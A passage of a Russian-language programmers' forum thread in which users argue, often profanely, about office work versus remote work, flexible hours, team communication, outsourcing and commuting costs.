                  У тебя одно яйцо?
                  Ответить

                • ava roskomgovno 07.08.2018 17:02 # +1

                  Какой-то у тебя печальный опыт, словно ты пять лет отпахал в молодой, динамично развивающейся веб-студии на старом заводе без душа, с одной сарделькой на обед и фейсконтролем
                  Ответить

                  • ava turboblack 07.08.2018 17:13 # 0

                    вовсе нет. просто это очень уныло, надрачивать на эти дебильные правила, пикаться этими беджиками на входе в помещение, и в сам офис, все по часам, все нельзя, везде запреты, всегда всё на алярме, постоянный движ, и при этом надо улыбаться, и делать вид что ты часть корпоративного духа. короче, работа на корп. это адъ
                    Ответить

                    • ava roskomgovno 07.08.2018 17:15 # 0

                      Да-да, к 8:30 в офис, выходить на улицу только после окончания рабочего дня и только по пропуску, за опоздание штраф, начальника по имени отчеству и костюмчик с бейджем "вас обслуживает такой-то"
                      Ответить

                      • ava turboblack 07.08.2018 17:22 # 0

                        и что в этом хорошего? вместо того что бы думать о работе ты думаешь о том что опоздал на 7 минут. реально выглядишь как обезьянка на цепи. чувство препротивное. короче та же армия, только ты по чину ниже плинтуса ))) и в очень неудобном открохмаленном штатском. особенно я ненавидел галстуки. это сакральный пиздец. и корпоративы. мерзкое зрелище. тратишь деньги на то, что бы быть там где не хочешь, с теми, с кем не хочешь, и показывать что тебе это нравится. да и вся работа вот такая в целом.
                        Ответить

                        • ava roskomgovno 07.08.2018 17:23 # +2

                          именно потому я и не работаю ни в банках, ни на военных предприятияъ
                          Ответить

                          • ava guest8 07.08.2018 18:22 # −999

                            показать все, что скрытоvanished
                            Ответить

                            • ava roskomgovno 07.08.2018 18:25 # 0

                              Насколько мне известно "корпоративная этика" в банках распостраняется и на программистов тоже. Разумеется в меньшей степени чем на операторов, но вот таких программистов как в чистых IT компаниях (валяющихся посреди рабочего дня с макбуком и кофе в гамаке во дворе, и приходящих на работу в 13:00) -- таких в банках нет
                              Ответить

                        • ava bormand 07.08.2018 18:23 # +1

                          > корпоративного духа
                          > все по часам
                          > опоздал на 7 минут
                          > галстук
                          Дай угадаю, это была какая-нибудь контора где один-два программиста на 100500 продажников? И труд этих программистов -- далеко не основная статья дохода?
                          Ответить

                • ava bormand 07.08.2018 18:54 # +3

                  Это от человека сильно зависит. Я вот не смогу работать на дому. Начну хуи пинать 24/7 или наоборот хуярить 24/7, что тоже плохо закончится.

                  > бичпакет+сарделька
                  > ёгурты со смузЯми
                  В чём проблема нормально обедать в кафешке недалеко от работы? Заодно можно прогуляться и с коллегами поболтать.

                  > доделывать
                  Сегодня доделываю, завтра прихожу ещё на час позже. Ноу проблем :3 Ситуации всякие бывают.

                  > можешь пойти в душ посреди рабочего дня
                  Могу.
                  Ответить

                  • ava 1024-- 07.08.2018 19:32 # 0

                    > Начну хуи пинать 24/7 или наоборот хуярить 24/7, что тоже плохо закончится.
                    А мне кажется, вполне хороший вариант. Обычно такие периоды чередуются, и "разглаживание" творческого потенциала на стандартный рабочий день к более успешным результатам не факт, что приводит.
                    Я бы в данном случае на месте руководителя наблюдал и пытался сбалансировать силы на проекте так, чтобы в каждой критичной части проекта в каждый момент времени работало около одного человека. Иногда проще подстроиться под график творческого человека, чтобы выжать максимальную прибыль.
                    Ответить

                    • ava bormand 07.08.2018 20:01 # +1

                      Хуёвый это вариант, ибо при перегрузке КПД мозга сильно падает. Время начинает быстрее бежать, память хуже работает и т.п.

                      Никогда не замечал ситуацию, когда пытаешься что-то запинать и никак не получается, а с утра на свежую голову проблема решается за 5 минут?

                      А от мелочей типа "хотел досмотреть аниме и уснул в 5 утра" или "что-то сегодня совсем нет настроения, хочется домой пораньше" вполне спасает свободный график.
                      Ответить

                      • ava roskomgovno 07.08.2018 20:03 # 0

                        хотел досмотреть аниме и уснул в 5 утра, а раз график свободный то и пришел по-позже, и лег по-позже, и снова аниме и хуяк через год: в 6 утра уснул, в три проснулся, к пяти пришел на работу, в три ночи ушел домой

                        а-ху-есть
                        Ответить

                        • ava bormand 07.08.2018 20:18 # 0

                          У сбитого графика есть объективный минус -- с коллегами меньше пересекаешься. В итоге или тебя кто-то с утра будет ждать или тебе что-то понадобится обсудить, а все уже убежали.

                          А в остальном -- всем похуй же, лишь бы задачи решались. Да и не каждый день у меня эти приступы анимения :3
                          Ответить

                        • ava 1024-- 07.08.2018 21:09 # 0

                          Вообще, редко у кого ритм 24-часовой. Сдвиги относительно вращения планеты естественны, и если им следовать, будет выгоднее всего: всегда будешь высыпаться и работать эффективнее.

                          Также из-за навязанного всеобщего режима мы имеем часы пик и простой помещений 2/3 суток. На работу приходится добираться всё свободное время, а арендованный за немаленькие деньги офис используется меньше времени, чем не используется, даже если забит людьми до отказа!

                          Среднему человеку приходится добираться до работы в пробках, тесниться с кучей народа, в магазин ходить вместо отдыха в свои законные выходные, а чтобы попасть к врачу - вовсе отпрашиваться с работы.

                          Идиотизм, да и только!
                          Ответить

                          • ava roskomgovno 07.08.2018 21:23 # 0

                            Согласен, но с другой стороны надо стараться заставать световой день.
                            Солнечный свет полезен, там витамин какой-то от него вырабатывается
                            Ответить

                      • ava 1024-- 07.08.2018 20:52 # 0

                        > Время начинает быстрее бежать, память хуже работает и т.п.
                        > Никогда не замечал ситуацию, когда пытаешься что-то запинать и никак не получается, а с утра на свежую голову проблема решается за 5 минут?
                        Не факт, что замечал. Возможно, из-за того, что время начинает быстрее бежать - кажется, что держишь прежний ритм, а то и становишься быстрее.

                        Обычно просто хочется спать. Думается, по ощущениям, так же, но просто уже глаза закрываются и сидеть нет сил - соскальзываешь в горизонтальное положение. Погружение в задачу и концентрация - огромные. Возможно, из-за них и правда становишься быстрее. Потом после сна они теряются, приходится заниматься мелкой прокрастинационной питушнёй. И это прерывание контекста вносит некоторую неэффективность.
                        Ответить

                        • ava bormand 07.08.2018 21:10 # +1

                          Да не становишься ты быстрее... Это состояние потока максимум несколько часов нормально держится. А дальше уже и контекст в память не влезает и скорость падает (отсюда время пролетает быстрее) и концентрация падает, больше ошибок допускаешь...

                          Понятно что тривиальщину какую-нибудь можно в любом состоянии хуярить... Но что-то посложнее я могу обдумывать только на свежую голову.

                          Хотя может быть это всё индивидуально.
                          Ответить

                          • ava 1024-- 07.08.2018 21:27 # 0

                            > А дальше уже и контекст в память не влезает и скорость падает
                            > Понятно что тривиальщину какую-нибудь можно в любом состоянии хуярить... Но что-то посложнее я могу обдумывать только на свежую голову.
                            Возможно, у меня действительно так. Под утро я не планирую, не создаю принципиально новую питушню, а только лишь продолжаю реализовывать уже продуманную днём/вечером, проверяю работоспособность и правлю свежие баги.
                            Ночью как-то даже и не думаю о том, чтобы думать; просто по инерции делаю то, что заинтересовало вечером.
                            Ответить

                  • ava CHayT 05.01.2022 15:28 # −1

                    > Начну хуи пинать 24/7 или наоборот хуярить 24/7, что тоже плохо закончится.

                    Ну как, начала?
                    Ответить

                • ava 1024-- 07.08.2018 19:19 # +1

                  Плюсую. Свой график и возможность проветрить яйцо - наверное самое важное. Ходить в одежде сложнее трусов и жить по графику сложнее "сделал, когда захотел" - банально неудобно.
                  Ответить

                  • ava bormand 07.08.2018 19:22 # 0

                    > сделал, когда захотел
                    Здесь должен быть рассказ дефекейта++ о проблемах с удалёнщиками.
                    Ответить

                    • ava defecate-plusplus 07.08.2018 19:59 # +4

                      вроде, всем очевидно, что два разраба, сидящие в 3 метрах друг от друга, более эффективно обсудят задачу, апи/контракт, порядок реализации, вместо оттестируют не отходя от кассы, друг друга нахуй пошлют и быстро всё исправят, когда кто-то объебался

                      плюс если один въебывает, а не чешет яйца, то и второй тоже не будет лишний раз смотреть аниме

                      просто если товарищ турбо паскаль - программист шаблонизатора, то там речи обычно не идёт, чтобы сплоченной командой что-то созидать большое и сложное, там достаточно студента, который хуяк хуяк прямо на сервере че-то поправил из дома, тогда оно конечно, можно и в трусах

                      ===

                      если что, сужу по себе - я не могу вне офиса работать так же продуктивно, как в офисе, потому что когда ты дома, у тебя слишком много раздражителей и соблазнов

                      когда был шанс сидеть дома и как бы работать, я не смог - пошёл и арендовал офис
                      Ответить

                      • ava Desktop 07.08.2018 21:39 # +1

                        Ничто не мешает им обсудить что угодно по скуре/слаку/любой другой херне (хуёвая связь? пусть сисадмин перестанет ковыряться в носу и проведёт нормальный интернет). Вообще нет никакой необходимости находиться физически в офисе 90% времени.

                        И про "один въёбывает, второй будет" тоже не согласен. Видал много любителей как позабивать, так и поколупать халтурку при 8/5 в офисе. Вопрос исключительно в менеджменте.

                        Хотя, конечно, если у кого-то дома жена, тёща, три спиногрыза, собака и стайка морских свинок, то нормальной работы без ружья не будет. Но это скорее про то, что у некоторых людей в определённом возрасте начинается ситуация "съебаться в офис от домашних, съебаться домой от коллег".
                        Ответить

                        • ava roskomgovno 07.08.2018 21:41 # 0

                          Личное общение это все таки совсем другое:)

                          Пья кофе на кухне с коллегами можно выдумать/понять многие интересные вещи, которые ты в слаке не поймешь.

                          А кроме того ты совершенно прав про свинок: пойди, поработай дома если у тебя нет своего кабинета
                          Ответить

                          • ava Desktop 07.08.2018 21:44 # 0

                            Странно, мы с коллегами регулярно выполняем роль "резиновых уточек" друг для друга в слаке. И нам не нужно для этого вместе пить кофе. Да и не так просто это сделать, когда между тобой 1500 км.
                            Ответить

                            • ava roskomgovno 07.08.2018 21:46 # 0

                              Ну, jedem das seine конечно.
                              Мне было бы не комфортно. Хотя у нас тоже есть удаленщики (не путать с фрилансерами) и они по видеоконференциям разговаривают
                              Ответить

                              • ava Desktop 07.08.2018 21:49 # 0

                                Да, наверное, вопрос привычки. Я в своё время тоже имел такое мнение, как выше написал Дефекейт. Но за последние пару лет оно поменялось кардинально, да и есть возможность комфортно работать из дома.

                                Плюс я же в аутсорсе работаю. Здесь постоянно половина или больше команды сидит как минимум в другой стране, а то и на другом континенте. Да и, когда работал в продуктовой конторе, тоже были офисы в двух городах.
                                Ответить

                                • ava defecate-plusplus 07.08.2018 22:01 # 0

                                  я на прошлой неделе релоцировал нашего сотрудника, который 10 месяцев работал у нас на удаленке (но вообще это по плану было) - мне выгоднее ему платить московскую зарплату лишь за response time

                                  люди ставят ссд в пека как бы по той же причине

                                  > Видал много любителей как позабивать, так и поколупать халтурку при 8/5 в офисе.
                                  таких не стоит терпеть ни в офисе, ни на удаленке, ни где бы то ни было

                                  > в аутсорсе работаю
                                  ебанистические впервые создаваемые продукты не сделать на аутсорсе, разве что нанимать полную самодостаточную проектную команду, нарезать ей большую сплошную поляну и раз в неделю (или даже реже) сверять связи

                                  и, скорее всего, эта команда будет сама концентрирована
                                  офис - отличный способ концентрации команды

                                  слака или более другие файлообменники с конференцсвязями - тоже способ концентрации, конечно, но работа легко превратится в постоянные виртуальные стендапы с мычанием, аля селекторное совещание на заводе, либо просто не будет такого, что всё на контроле и все знают, что делают
                                  Ответить

                                  • ava roskomgovno 07.08.2018 22:19 # 0

                                    >>таких не стоит терпеть ни в офисе
                                    А как вы таких трекаете, кстати?

                                    На аутсорсе например бывает либо какой-нить scrum, где более-ли-менее понятно что ты успел/не успел, либо таймтрекинг куда заносится время.

                                    Недавно была история как Тинькоф уволил чуваков после того что они по 4 часа в день слали бугагагашечки в слаку.

                                    Я тогда очень удивился: а если бы никто не заглянул в слак, то они бы так и слали? Тинькоф совсем не знает чем его сотрудники заняты?
                                    Ответить

                                    • ava defecate-plusplus 07.08.2018 22:57 # 0

                                      > А как вы таких трекаете, кстати?
                                      таких людей не должно быть множественное число, иначе вместо собственной работы можно только и делать весь божий день, как пасти удаленных котов

                                      ну, точнее, кому-то это по душе, я не спорю, но ну его нахуй, мне хватает и других дел
                                      Ответить

                                      • ava roskomgovno 07.08.2018 23:05 # 0

                                        В том-то и вопрос: как их трекать вообще?

                                        Вот ты нанял васю, вася делает работу не плохо, но медленно например. Ты чувствуешь что можно быстрее.

                                        Ты говоришь: "Вася, а ты можешь быстрее?", а он говорит "дай определение понятий 'быстро' и "медленно'", и так как planing pockerа (как в скраме) не было то ответить ему может быть сложно.

                                        Или вы просто стараетесь брать "умных и увлеченных", и получется что там 80% из них и так работают достаточно хорошо и за ними не надо следить?
                                        Ответить

                                    • ava guest8 07.08.2018 23:00 # −999

                                      показать все, что скрытоvanished
                                      Ответить

                                  • ava Desktop 07.08.2018 22:23 # 0

                                    > таких не стоит терпеть ни в офисе, ни на удаленке, ни где бы то ни было
                                    - ну однако терпят в силу разных причин. И не говори, что не встречал такого :)

                                    > ебанистические впервые создаваемые продукты не сделать на аутсорсе, разве что нанимать полную самодостаточную проектную команду, нарезать ей большую сплошную поляну и раз в неделю (или даже реже) сверять связи
                                    - смотря что понимать под ебанистическими впервые создаваемыми продуктами. Сейчас работаем над чем-то похожим. Огромное количество заказчиков предпочитает иметь команду либо где дешевле, если нет бабла, либо где есть спецы в принципе, если бабло есть. Как там эти спецы рассаживаются у себя в пампасах, кастомеров обычно не a bird.

                                    > работа легко превратится в постоянные виртуальные стендапы с мычанием
                                    - не всё ли равно, виртуальные ли это стендапы с мычанием или реальные. В большинстве случаев стендапы это вообще концентрированный культ карго
                                    Ответить

                                    • ava defecate-plusplus 07.08.2018 22:53 # 0

                                      > И не говори, что не встречал такого :)
                                      последние лет 5 я могу принимать решения об увольнении

                                      я, вроде, уже писал тут
                                      херовый сотрудник обычно собес не пройдет

                                      но однажды мне пришлось выпиздить чела, хорошего, подающего надежды, молодого и со всеми предпосылками вырастить под себя, лишь за то, что он не смог расстаться с "халтурой" даже после 3 замечаний - вместо выполнения задачи со сроками я его ловил на том, что он кому-то (скорее всего, себе) сайт на пхп рисует

                                      это так-то хороший success rate

                                      можно мириться с тем, что кто-то дрочит, только если ты сам дрочишь

                                      > Огромное количество заказчиков предпочитает иметь команду либо где дешевле, если нет бабла, либо где есть спецы в принципе, если бабло есть.

                                      все заказчики, которых я встречал, представляли, что они хотят только в общих размытых чертах
                                      даже в случае, когда они САМИ писали ТЗ на 50 страниц

                                      я не говорю про технологии, я говорю про бизнес-функцию

                                      всегда ВСЕГДА приходится разбираться в предмете лучше него самого, учить его, сука, как ему на самом деле надо решать свою задачу, где в его предположениях фундаментальные ошибки, проектировать за него бизнес-процессы - в общем, подходить с душой

                                      всего этого не сделать, не встречаясь с заказчиком

                                      не вспомню ни одного проходного проекта, который написал, получил бабло и забыл

                                      и если аналитик/конструктор/архитектор/продукт овнер в итоге должны быть близко к телу, то иметь команду, которая удаленно будет стараться делать то, что надо, вовремя и качественно - это, конечно, вопрос менеджмента, но на качественное донесение задачи дистанционно приходится потратить больше сил, чем сидя рядом

                                      > виртуальные ли это стендапы с мычанием или реальные
                                      а стендапы не нужны, если всё и так на виду и дружно в ритме гребут
                                      Ответить

                                      • ava guest8 07.08.2018 23:10 # −999

                                        показать все, что скрытоvanished
                                        Ответить

                                      • ava Desktop 07.08.2018 23:19 # 0

                                        > всего этого не сделать, не встречаясь с заказчиком
                                        - заказчик приезжает раз в пару месяцев в лучшем случае, в любое другое время для общения с ним существует po/pm (ну, должен). Собирать команду, особенно, если это 10+ человек, для обсуждения каждого чиха и пука смысла нет от слова вовсе, многие опытные вменяемые спецы просто хотят схему grooming/planning/sprint/retro с нормально описанными задачами и эстимейтами, которые манагер выудил у заказчика (который да, не знает, чо он хочет, кроме того, что "у меня миллионы инвестиций и сделайте мне пиздато") и потом донёс. Должен ли он доносить это лично или по вебкамере?

                                        Ну, не то чтобы я спорил по этому поводу: везде своя специфика, просто за пределами офиса вполне есть рабочая жизнь.
                                        Ответить

                      • ava guest8 07.08.2018 23:07 # −999

                        показать все, что скрытоvanished
                        Ответить

            • ava guest8 06.08.2018 04:57 # −999

              показать все, что скрытоvanished
              Ответить

              • ava roskomgovno 06.08.2018 04:58 # 0

                Это аргумент

                Если бы мне до офиса было 3 часа на машине -- я бы туда не ходил
                Ответить

                • ava guest8 06.08.2018 05:00 # −999

                  показать все, что скрытоvanished
                  Ответить

                • ava roman-kashitsyn 07.08.2018 23:17 # 0

                  Мне сейчас до офиса ехать ~50 минут, из которых 30 я сижу в поезде и в принципе могу работать (правда, работаю только на пути обратно).
                  Раньше было ближе, но чем дальше от Цюриха, тем дешевле жильё (я снимаю квартиру в 2 раза больше, чем у меня была в Цюрихе, и плачу меньше) и ниже налоги.
                  Ответить

                  • ava guest8 08.08.2018 00:53 # −999

                    показать все, что скрытоvanished
                    Ответить

                    • ava roskomgovno 08.08.2018 00:56 # 0

                      Ну может там другой кантон?)

                      Алсо, есть чуваки которые которые живут в Мальмё (Швеция) а ездят по мосту на работу в Копенгаген (Дания) бо в шведском маленьком городке цены меньше, чем в столице Дании

                      В Европе всякое бывает
                      Ответить

                      • ava roman-kashitsyn 08.08.2018 01:40 # 0

                        > Ну может там другой кантон?)

                        Налоги определяются не только кантоном, но и Gemeinde (общиной). Выше всего в Цюрихе, там, куда я переехал, я буду платить примерно на 2к франков в год меньше, хотя кантон всё тот же. В соседнем кантоне мог бы 8к в год экономить, но подходящего жилья в разумное время не нашлось.
                        Ответить

                  • ava guest8 08.08.2018 01:22 # −999

                    показать все, что скрытоvanished
                    Ответить

                    • ava roman-kashitsyn 08.08.2018 01:35 # 0

                      > в долину

                      Да ну её в топку, вообще никакого желания переезжать в неблагополучные страны.

                      Зато мне до озера с видом на горы идти теперь 15 минут, искупаться вечером после 30-градусной жары — бесценно.
                      Ответить

                      • ava roskomgovno 08.08.2018 03:09 # 0

                        >неблагополучные страны.
                        Ты про США ?)
                        Ответить

                        • ava roman-kashitsyn 08.08.2018 11:43 # 0

                          > Ты про США ?)

                          Разумеется. Долина — это клоака, жить даже в каком-нибудь Сиэтле гораздо разумнее.
                          Ответить

            • ava turboblack 07.08.2018 16:02 # 0

              1
              Ответить

            • ava turboblack 07.08.2018 16:02 # 0

              1
              Ответить

      • ava bormand 02.08.2018 06:59 # 0

        > 9-часовой
        Восьми же. Просто обед включен в это время.
        Ответить

    • ava guest8 28.09.2018 19:20 # −999

      показать все, что скрытоvanished
      Ответить

    • ava TEH3OPHblu_nemyx 14.08.2020 08:32 # 0

      «Esvoe» всё?
      Ответить

      • ava gost 14.08.2020 08:35 # 0

        Кажется, переехали на https://esvoe.com/. Но я хз, тот ли это говнопроект, или кто-то другой подхватил знамя говна.
        Ответить

    Добавить комментарий